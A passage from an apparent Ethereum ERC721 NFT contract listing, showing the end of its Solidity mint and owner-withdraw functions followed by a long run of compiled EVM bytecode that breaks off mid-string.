would exceed max tokens"); require(PRICE_PER_TOKEN * numberOfTokens <= msg.value, "Ether value sent is not correct"); for (uint256 i = 0; i < numberOfTokens; i++) { _safeMint(msg.sender, ts + i); } } function withdraw() public onlyOwner { uint balance = address(this).balance; payable(msg.sender).transfer(balance); } }
0x6080604052600436106102045760003560e01c8063715018a611610118578063b88d4fde116100a0578063ddff5b1c1161006f578063ddff5b1c14610758578063e985e9c514610774578063eb8d2444146107b1578063f2fde38b146107dc578063ffe630b51461080557610204565b8063b88d4fde1461068c578063c04a2836146106b5578063c4e37095146106f2578063c87b56dd1461071b57610204565b8063833b9499116100e7578063833b9499146105c65780638da5cb5b146105f157806395d89b411461061c578063a0712d6814610647578063a22cb4651461066357610204565b8063715018a614610534578063718bc4af1461054b578063819b25ba146105745780638295784d1461059d57610204565b806332cb6b0c1161019b57806355f804b31161016a57806355f804b31461043b5780636352211e146104645780636373a6b1146104a157806365f13097146104cc57806370a08231146104f757610204565b806332cb6b0c146103935780633ccfd60b146103be57806342842e0e146103d55780634f6ccce7146103fe57610204565b806318160ddd116101d757806318160ddd146102d757806323b872dd1461030257806329fc6bae1461032b5780632f745c591461035657610204565b806301ffc9a71461020957806306fdde0314610246578063081812fc14610271578063095ea7b3146102ae575b600080fd5b34801561021557600080fd5b50610230600480360381019061022b91906132cf565b61082e565b60405161023d919061387e565b60405180910390f35b34801561025257600080fd5b5061025b610840565b6040516102689190613899565b60405180910390f35b34801561027d57600080fd5b5061029860048036038101906102939190613372565b6108d2565b6040516102a59190613817565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d09190613202565b610957565b005b3480156102e357600080fd5b506102ec610a6f565b6040516102f99190613bbb565b60405180910390f35b34801561030e57600080fd5b50610329600480360381019061032491906130ec565b610a7c565b005b34801561033757600080fd5b50610340610adc565b60405161034d919061387e565b60405180910390f35b34801561036257600080fd5b5061037d60048036038101906103789190613202565b610aef565b60405161038a9190613bbb565b60405180910390f35b34801561039f57600080fd5b506103a8610b94565b6040516103b59190613bbb565b60405180910390f35b3480156103ca57600080fd5b506103d3610b9a565b005b3480156103e157600080fd5b506103fc60048036038101906103f791906130ec565b610c65565b005b34801561040a57600080fd5b5061042560048036038101906104209190613372565b610c85565b6040516104329190613bbb565b60405180910390f35b34801561044757600080fd5b50610462600480360381019061045d9190613329565b610cf6565b005b34801561047057600080fd5b5061048b60048036038101906104869190613372565b610d8c565b6040516104989190613817565b60405180910390f35b3480156104ad57600080fd5b506104b6610e3e565b6040516104c39190613899565b60405180910390f35b3480156104d857600080fd5b506104e1610ecc565b6040516104ee9190613bbb565b60405180910390f35b34801561050357600080fd5b5061051e6004803603810190610519919061307f565b610ed1565b60405161052b9190613bbb565b60405180910390f35b34801561054057600080fd5b50610549610f89565b005b34801561055757600080fd5b50610572600480360381019061056d91906132a2565b611011565b005b34801561058057600080fd5b5061059b60048036038101906105969190613372565b6110aa565b005b3480156105a957600080fd5b506105c460048036038101906105bf9190613242565b61116a565b005b3480156105d257600080fd5b506105db61128c565b6040516105e89190613bbb565b60405180910390f35b3480156105fd57600080fd5b50610606611297565b6040516106139190613817565b60405180910390f35b34801561062857600080fd5b506106316112c1565b60405161063e9190613899565b60405180910390f35b610661600480360381019061065c9190613372565b611353565b005b34801561066f57600080fd5b5061068a600480360381019061068591906131c2565b6114cf565b005b34801561069857600080fd5b506106b360048036038101906106ae919061313f565b611650565b005b3480156106c157600080fd5b506106dc60048036038101906106d7919061307f565b6116b2565b6040516106e99190613bd6565b60405180910390f35b3480156106fe57600080fd5b50610719600480360381019061071491906132a2565b611708565b005b34801561072757600080fd5b50610742600480360381019061073d9190613372565b6117a1565b60405161074f9190613899565b60405180910390f35b610772600480360381019061076d919061339f565b611848565b005b34801561078057600080fd5b5061079b600480360381019061079691906130ac565b611a91565b6040516107a8919061387e565b60405180910390f35b3480156107bd57600080fd5b506107c6611b25565b6040516107d3919061387e565b60405180910390f35b3480156107e857600080fd5b5061080360048036038101906107fe919061307f565b611b38565b005b34801561081157600080fd5b5061082c60048036038101906108279190613329565b611c30565b005b600061083982611cc6565b9050919050565b60606000805461084f90613ec7565b80601f016020809104026020016040519081016040528092919081815260200182805461087b90613ec7565b80156108c85780601f1061089d576101008083540402835291602001916108c8565b820191906000526020600020905b8154815290600101906020018083116108ab57829003601f168201915b5050505050905090565b60006108dd82611d40565b61091c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091390613a5b565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061096282610d8c565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca90613afb565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166109f2611dac565b73ffffffffffffffffffffffffffffffffffffffff161480610a215750610a2081610a1b611dac565b611a91565b5b610a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a57906139db565b60405180910390fd5b610a6a8383611db4565b505050565b6000600880549050905090565b610a8d610a87611dac565b82611e6d565b610acc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac390613b5b565b60405180910390fd5b610ad7838383611f4b565b505050565b600e60009054906101000a900460ff1681565b6000610afa83610ed1565b8210610b3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b32906138bb565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b6122b881565b610ba2611dac565b73ffffffffffffffffffffffffffffffffffffffff16610bc0611297565b73ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90613a7b565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c61573d6000803e3d6000fd5b5050565b610c8083838360405180602001604052806000815250611650565b505050565b6000610c8f610a6f565b8210610cd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc790613b7b565b60405180910390fd5b60088281548110610ce457610ce3614060565b5b90600052602060002001549050919050565b610cfe611dac565b73ffffffffffffffffffffffffffffffffffffffff16610d1c611297565b73ffffffffffffffffffffffffffffffffffffffff1614610d72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6990613a7b565b60405180910390fd5b80600d9080519060200190610d88929190612e28565b5050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c90613a1b565b60405180910390fd5b80915050919050565b600b8054610e4b90613ec7565b80601f0160208091040260200160405190810160405280929190818152602001828054610e7790613ec7565b8015610ec45780601f10610e9957610100808354040283529160200191610ec4565b820191906000526020600020905b815481529060010190602001808311610ea757829003601f168201915b505050505081565b601981565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f39906139fb565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f91611dac565b73ffffffffffffffffffffffffffffffffffffffff16610faf611297565b73ffffffffffffffffffffffffffffffffffffffff1614611005576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffc90613a7b565b60405180910390fd5b61100f60006121a7565b565b611019611dac565b73ffffffffffffffffffffffffffffffffffffffff16611037611297565b73ffffffffffffffffffffffffffffffffffffffff161461108d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108490613a7b565b60405180910390fd5b80600e60006101000a81548160ff02191690831515021790555050565b6110b2611dac565b73ffffffffffffffffffffffffffffffffffffffff166110d0611297565b73ffffffffffffffffffffffffffffffffffffffff1614611126576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111d90613a7b565b60405180910390fd5b6000611130610a6f565b905060005b828110156111655761115233828461114d9190613cbb565b61226d565b808061115d90613f2a565b915050611135565b505050565b611172611dac565b73ffffffffffffffffffffffffffffffffffffffff16611190611297565b73ffffffffffffffffffffffffffffffffffffffff16146111e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111dd90613a7b565b60405180910390fd5b60005b838390508110156112865781600f600086868581811061120c5761120b614060565b5b9050602002016020810190611221919061307f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff160217905550808061127e90613f2a565b9150506111e9565b50505050565b66e6ed27d666800081565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546112d090613ec7565b80601f01602080910402602001604051908101604052809291908181526020018280546112fc90613ec7565b80156113495780601f1061131e57610100808354040283529160200191611349565b820191906000526020600020905b81548152906001019060200180831161132c57829003601f168201915b5050505050905090565b600061135d610a6f565b9050600c60009054906101000a900460ff166113ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a590613adb565b60405180910390fd5b60198211156113f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e990613b1b565b60405180910390fd5b6122b882826114019190613cbb565b1115611442576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114399061391b565b60405180910390fd5b348266e6ed27d66680006114569190613d42565b1115611497576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148e9061399b565b60405180910390fd5b60005b828110156114ca576114b73382846114b29190613cbb565b61226d565b80806114c290613f2a565b91505061149a565b505050565b6114d7611dac565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611545576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153c9061397b565b60405180910390fd5b8060056000611552611dac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166115ff611dac565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611644919061387e565b60405180910390a35050565b61166161165b611dac565b83611e6d565b6116a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169790613b5b565b60405180910390fd5b6116ac8484848461228b565b50505050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611710611dac565b73ffffffffffffffffffffffffffffffffffffffff1661172e611297565b73ffffffffffffffffffffffffffffffffffffffff1614611784576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177b90613a7b565b60405180910390fd5b80600c60006101000a81548160ff02191690831515021790555050565b60606117ac82611d40565b6117eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e290613abb565b60405180910390fd5b60006117f56122e7565b905060008151116118155760405180602001604052806000815250611840565b8061181f84612379565b6040516020016118309291906137f3565b6040516020818303038152906040525b915050919050565b6000611852610a6f565b9050600e60009054906101000a900460ff166118a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189a90613b9b565b60405180910390fd5b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168260ff161115611938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192f90613b3b565b60405180910390fd5b6122b88260ff168261194a9190613cbb565b111561198b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119829061391b565b60405180910390fd5b348260ff1666e6ed27d66680006119a29190613d42565b11156119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da9061399b565b60405180910390fd5b81600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282829054906101000a900460ff16611a3e9190613dd0565b92506101000a81548160ff021916908360ff16021790555060005b8260ff16811015611a8c57611a79338284611a749190613cbb565b61226d565b8080611a8490613f2a565b915050611a59565b505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600c60009054906101000a900460ff1681565b611b40611dac565b73ffffffffffffffffffffffffffffffffffffffff16611b5e611297565b73ffffffffffffffffffffffffffffffffffffffff1614611bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bab90613a7b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1b906138fb565b60405180910390fd5b611c2d816121a7565b50565b611c38611dac565b73ffffffffffffffffffffffffffffffffffffffff16611c56611297565b73ffffffffffffffffffffffffffffffffffffffff1614611cac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca390613a7b565b60405180910390fd5b80600b9080519060200190611cc2929190612e28565b5050565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611d395750611d38826124da565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611e2783610d8c565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611e7882611d40565b611eb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eae906139bb565b60405180910390fd5b6000611ec283610d8c565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611f3157508373ffffffffffffffffffffffffffffffffffffffff16611f19846108d2565b73ffffffffffffffffffffffffffffffffffffffff16145b80611f425750611f418185611a91565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611f6b82610d8c565b73ffffffffffffffffffffffffffffffffffffffff1614611fc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb890613a9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612031576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120289061395b565b60405180910390fd5b61203c8383836125bc565b612047600082611db4565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120979190613d9c565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120ee9190613cbb565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6122878282604051806020016040528060008152506125cc565b5050565b612296848484611f4b565b6122a284848484612627565b6122e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d8906138db565b60405180910390fd5b50505050565b6060600d80546122f690613ec7565b80601f016020809104026020016040519081016040528092919081815260200182805461232290613ec7565b801561236f5780601f106123445761010080835404028352916020019161236f565b820191906000526020600020905b81548152906001019060200180831161235257829003601f168201915b5050505050905090565b606060008214156123c1576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506124d5565b600082905060005b600082146123f35780806123dc90613f2a565b915050600a826123ec9190613d11565b91506123c9565b60008167ffffffffffffffff81111561240f5761240e61408f565b5b6040519080825280601f01601f1916602001820160405280156124415781602001600182028036833780820191505090505b5090505b600085146124ce5760018261245a9190613d9c565b9150600a856124699190613f73565b60306124759190613cbb565b60f81b81838151811061248b5761248a614060565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856124c79190613d11565b9450612445565b8093505050505b919050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806125a557507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806125b557506125b4826127be565b5b9050919050565b6125c7838383612828565b505050565b6125d6838361293c565b6125e36000848484612627565b612622576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612619906138db565b60405180910390fd5b505050565b60006126488473ffffffffffffffffffffffffffffffffffffffff16612b0a565b156127b1578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612671611dac565b8786866040518563ffffffff1660e01b81526004016126939493929190613832565b602060405180830381600087803b1580156126ad57600080fd5b505af19250505080156126de57506040513d601f19601f820116820180604052508101906126db91906132fc565b60015b612761573d806000811461270e576040519150601f19603f3d011682016040523d82523d6000602084013e612713565b606091505b50600081511415612759576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612750906138db565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506127b6565b600190505b949350505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b612833838383612b1d565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128765761287181612b22565b6128b5565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146128b4576128b38382612b6b565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156128f8576128f381612cd8565b612937565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612936576129358282612da9565b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a390613a3b565b60405180910390fd5b6129b581611d40565b156129f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ec9061393b565b60405180910390fd5b612a01600083836125bc565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612a519190613cbb565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b60006001612b7884610ed1565b612b829190613d9c565b9050600060076000848152602001908152602001600020549050818114612c67576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600880549050612cec9190613d9c565b9050600060096000848152602001908152602001600020549050600060088381548110612d1c57612d1b614060565b5b906000526020600020015490508060088381548110612d3e57612d3d614060565b5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480612d8d57612d8c614031565b5b6001900381819060005260206000200160009055905550505050565b6000612db483610ed1565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b828054612e3490613ec7565b90600052602060002090601f016020900481019282612e565760008555612e9d565b82601f10612e6f57805160ff1916838001178555612e9d565b82800160010185558215612e9d579182015b82811115612e9c578251825591602001919060010190612e81565b5b509050612eaa9190612eae565b5090565b5b80821115612ec7576000816000905550600101612eaf565b5090565b6000612ede612ed984613c16565b613bf1565b905082815260208101848484011115612efa57612ef96140cd565b5b612f05848285613e85565b509392505050565b6000612f20612f1b84613c47565b613bf1565b905082815260208101848484011115612f3c57612f3b6140cd565b5b612f47848285613e85565b509392505050565b600081359050612f5e81614725565b92915050565b60008083601f840112612f7a57612f796140c3565b5b8235905067ffffffffffffffff811115612f9757612f966140be565b5b602083019150836020820283011115612fb357612fb26140c8565b5b9250929050565b600081359050612fc98161473c565b92915050565b600081359050612fde81614753565b92915050565b600081519050612ff381614753565b92915050565b600082601f83011261300e5761300d6140c3565b5b813561301e848260208601612ecb565b91505092915050565b600082601f83011261303c5761303b6140c3565b5b813561304c848260208601612f0d565b91505092915050565b6000813590506130648161476a565b92915050565b60008135905061307981614781565b92915050565b600060208284031215613095576130946140d7565b5b60006130a384828501612f4f565b91505092915050565b600080604083850312156130c3576130c26140d7565b5b60006130d185828601612f4f565b92505060206130e285828601612f4f565b9150509250929050565b600080600060608486031215613105576131046140d7565b5b600061311386828701612f4f565b935050602061312486828701612f4f565b925050604061313586828701613055565b9150509250925092565b60008060008060808587031215613159576131586140d7565b5b600061316787828801612f4f565b945050602061317887828801612f4f565b935050604061318987828801613055565b925050606085013567ffffffffffffffff8111156131aa576131a96140d2565b5b6131b687828801612ff9565b91505092959194509250565b600080604083850312156131d9576131d86140d7565b5b60006131e785828601612f4f565b92505060206131f885828601612fba565b9150509250929050565b60008060408385031215613219576132186140d7565b5b600061322785828601612f4f565b925050602061323885828601613055565b9150509250929050565b60008060006040848603121561325b5761325a6140d7565b5b600084013567ffffffffffffffff811115613279576132786140d2565b5b61328586828701612f64565b935093505060206132988682870161306a565b9150509250925092565b6000602082840312156132b8576132b76140d7565b5b60006132c684828501612fba565b91505092915050565b6000602082840312156132e5576132e46140d7565b5b60006132f384828501612fcf565b91505092915050565b600060208284031215613312576133116140d7565b5b600061332084828501612fe4565b91505092915050565b60006020828403121561333f5761333e6140d7565b5b600082013567ffffffffffffffff81111561335d5761335c6140d2565b5b61336984828501613027565b91505092915050565b600060208284031215613388576133876140d7565b5b600061339684828501613055565b91505092915050565b6000602082840312156133b5576133b46140d7565b5b60006133c38482850161306a565b91505092915050565b6133d581613e04565b82525050565b6133e481613e16565b82525050565b60006133f582613c78565b6133ff8185613c8e565b935061340f818560208601613e94565b613418816140dc565b840191505092915050565b600061342e82613c83565b6134388185613c9f565b9350613448818560208601613e94565b613451816140dc565b840191505092915050565b600061346782613c83565b6134718185613cb0565b9350613481818560208601613e94565b80840191505092915050565b600061349a602b83613c9f565b91506134a5826140ed565b604082019050919050565b60006134bd603283613c9f565b91506134c88261413c565b604082019050919050565b60006134e0602683613c9f565b91506134eb8261418b565b604082019050919050565b6000613503602083613c9f565b915061350e826141da565b602082019050919050565b6000613526601c83613c9f565b915061353182614203565b602082019050919050565b6000613549602483613c9f565b91506135548261422c565b604082019050919050565b600061356c601983613c9f565b91506135778261427b565b602082019050919050565b600061358f601f83613c9f565b915061359a826142a4565b602082019050919050565b60006135b2602c83613c9f565b91506135bd826142cd565b604082019050919050565b60006135d5603883613c9f565b91506135e08261431c565b604082019050919050565b60006135f8602a83613c9f565b91506136038261436b565b604082019050919050565b600061361b602983613c9f565b9150613626826143ba565b604082019050919050565b600061363e602083613c9f565b915061364982614409565b602082019050919050565b6000613661602c83613c9f565b915061366c82614432565b604082019050919050565b6000613684602083613c9f565b915061368f82614481565b602082019050919050565b60006136a7602983613c9f565b91506136b2826144aa565b604082019050919050565b60006136ca602f83613c9f565b91506136d5826144f9565b604082019050919050565b60006136ed602283613c9f565b91506136f882614548565b604082019050919050565b6000613710602183613c9f565b915061371b82614597565b604082019050919050565b6000613733601b83613c9f565b915061373e826145e6565b602082019050919050565b6000613756602283613c9f565b91506137618261460f565b604082019050919050565b6000613779603183613c9f565b91506137848261465e565b604082019050919050565b600061379c602c83613c9f565b91506137a7826146ad565b604082019050919050565b60006137bf601883613c9f565b91506137ca826146fc565b602082019050919050565b6137de81613e6e565b82525050565b6137ed81613e78565b82525050565b60006137ff828561345c565b915061380b828461345c565b91508190509392505050565b600060208201905061382c60008301846133cc565b92915050565b600060808201905061384760008301876133cc565b61385460208301866133cc565b61386160408301856137d5565b818103606083015261387381846133ea565b905095945050505050565b600060208201905061389360008301846133db565b92915050565b600060208201905081810360008301526138b38184613423565b905092915050565b600060208201905081810360008301526138d48161348d565b9050919050565b600060208201905081810360008301526138f4816134b0565b9050919050565b60006020820190508181036000830152613914816134d3565b9050919050565b60006020820190508181036000830152613934816134f6565b9050919050565b6000602082019050818103600083015261395481613519565b9050919050565b600060208201905081810360008301526139748161353c565b9050919050565b600060208201905081810360008301526139948161355f565b9050919050565b600060208201905081810360008301526139b481613582565b9050919050565b600060208201905081810360008301526139d4816135a5565b9050919050565b600060208201905081810360008301526139f4816135c8565b9050919050565b60006020820190508181036000830152613a14816135eb565b9050919050565b60006020820190508181036000830152613a348161360e565b9050919050565b60006020820190508181036000830152613a5481613631565b9050919050565b60006020820190508181036000830152613a7481613654565b9050919050565b60006020820190508181036000830152613a9481613677565b9050919050565b60006020820190508181036000830152613ab48161369a565b9050919050565b60006020820190508181036000830152613ad4816136bd565b9050919050565b60006020820190508181036000830152613af4816136e0565b9050919050565b60006020820190508181036000830152613b1481613703565b9050919050565b60006020820190508181036000830152613b3481613726565b9050919050565b60006020820190508181036000830152613b5481613749565b9050919050565b60006020820190508181036000830152613b748161376c565b9050919050565b60006020820190508181036000830152613b948161378f565b9050919050565b60006020820190508181036000830152613bb4816137b2565b9050919050565b6000602082019050613bd060008301846137d5565b92915050565b6000602082019050613beb60008301846137e4565b92915050565b6000613bfb613c0c565b9050613c078282613ef9565b919050565b6000604051905090565b600067ffffffffffffffff821115613c3157613c3061408f565b5b613c3a826140dc565b9050602081019050919050565b600067ffffffffffffffff821115613c6257613c6161408f565b5b613c6b826140dc565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000613cc682613e6e565b9150613cd183613e6e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613d0657613d05613fa4565b5b828201905092915050565b6000613d1c82613e6e565b9150613d2783613e6e565b925082613d3757613d36613fd3565b5b828204905092915050565b6000613d4d82613e6e565b9150613d5883613e6e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613d9157613d90613fa4565b5b828202905092915050565b6000613da782613e6e565b9150613db283613e6e565b925082821015613dc557613dc4613fa4565b5b828203905092915050565b6000613ddb82613e78565b9150613de683613e78565b925082821015613df957613df8613fa4565b5b828203905092915050565b6000613e0f82613e4e565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015613eb2578082015181840152602081019050613e97565b83811115613ec1576000848401525b50505050565b60006002820490506001821680613edf57607f821691505b60208210811415613ef357613ef2614002565b5b50919050565b613f02826140dc565b810181811067ffffffffffffffff82111715613f2157613f2061408f565b5b80604052505050565b6000613f3582613e6e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613f6857613f67613fa4565b5b600182019050919050565b6000613f7e82613e6e565b9150613f8983613e6e565b925082613f9957613f98613fd3565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656